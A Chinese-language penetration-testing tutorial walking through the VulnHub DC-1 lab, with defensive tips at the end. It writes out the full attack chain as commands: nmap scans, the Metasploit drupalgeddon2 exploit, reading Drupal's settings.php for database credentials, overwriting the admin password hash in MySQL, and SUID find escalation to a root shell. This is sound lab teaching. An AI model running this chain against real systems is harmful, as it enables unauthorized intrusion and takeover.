渗透测试初体验:DC-1靶场
字数 1282 2025-08-12 11:34:07
DC-1靶场渗透测试教学文档
一、环境准备
1.1 攻击机配置
- 使用Kali Linux作为攻击机
- 确保Kali系统已更新并配置好输入法
- 网络模式设置为NAT模式(与靶机保持一致)
1.2 靶机配置
- 下载DC-1靶场镜像:https://www.vulnhub.com/entry/dc-1,292/
- 安装时忽略风险提示,强制安装
- 网络模式设置为NAT模式
- 安装完成后无需登录,直接进入渗透测试环节
1.3 网络问题解决
- 如果攻击机和靶机IP不显示:
- 进入虚拟网络编辑器
- 选择"还原默认设置"
- 重启攻击机和靶机
二、信息收集
2.1 扫描网段
nmap 192.168.40.0/24
- 确定靶机IP(如192.168.40.128)
2.2 详细扫描
nmap -sS -sV -sC -O 192.168.40.128
- 发现Drupal 7框架
- 发现MySQL数据库服务
2.3 目录扫描
使用dirb工具扫描:
- robots.txt可访问但无重要信息
- 其他目录大多返回403(无权限)
- 登录页面发现但无法暴力破解(有锁定机制)
三、漏洞利用
3.1 使用Metasploit
- 启动msfconsole
- 搜索Drupal漏洞:
search Drupal
- 选择最新且评级为excellent的漏洞(如drupal_drupalgeddon2)
- 配置并执行:
use 4
set rhosts 192.168.40.128
exploit
- 成功建立session获取shell
3.2 获取Flag1
- 在初始shell中查找flag:
find / -name "*flag*" -type f 2>/dev/null
- 通常在/var/www目录下找到flag1.txt
- 提示查看CMS配置文件
3.3 获取Flag2
- 查看Drupal配置文件:
cat /var/www/sites/default/settings.php
- 发现数据库凭据:
- 数据库名:drupaldb
- 用户名:dbuser
- 密码:R0ck3t
3.4 获取Flag3
- 获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
- 进入MySQL数据库:
mysql -udbuser -pR0ck3t
- 查询用户表:
use drupaldb;
select * from users;
- 修改管理员密码:
/var/www/scripts/password-hash.sh 123456
- 更新数据库:
update users set pass="生成的哈希值" where name="admin";
- 使用admin/123456登录后台获取flag3
3.5 获取Flag4
- 查找flag4用户:
cat /etc/passwd | grep flag
- 进入flag4用户目录:
cd /home/flag4
cat flag4.txt
- 提示使用find命令
3.6 获取Flag5(提权)
- 查找具有SUID权限的文件:
find / -user root -perm -4000 -print 2>/dev/null
- 发现/usr/bin/find具有SUID权限
- 利用find提权:
touch test.txt
find test.txt -exec "/bin/sh" \;
- 获取root权限后查看/root目录获取最终flag
四、关键知识点详解
4.1 交互式shell获取
python -c 'import pty;pty.spawn("/bin/bash")'
- 作用:将简单的shell升级为功能完整的交互式shell
- 原理:使用Python的pty模块模拟终端
4.2 SUID提权原理
- SUID权限:程序运行时以文件所有者权限执行
- 查找SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
- 利用方式:通过可执行命令的参数执行shell
4.3 find命令提权
find test.txt -exec "/bin/sh" \;
- 原理:find命令以root权限执行,其-exec参数可以执行任意命令
- 分号需要转义防止被shell解释
五、总结流程
- 信息收集 → 2. 漏洞利用获取初始shell → 3. 查找flag获取线索 →
- 数据库操作修改密码 → 5. 登录后台 → 6. 查找SUID程序 →
- 提权获取root权限 → 8. 完成所有flag挑战
六、防御建议
- 及时更新CMS系统
- 限制数据库用户权限
- 监控异常登录行为
- 定期检查SUID权限设置
- 使用强密码策略
- 限制敏感文件访问权限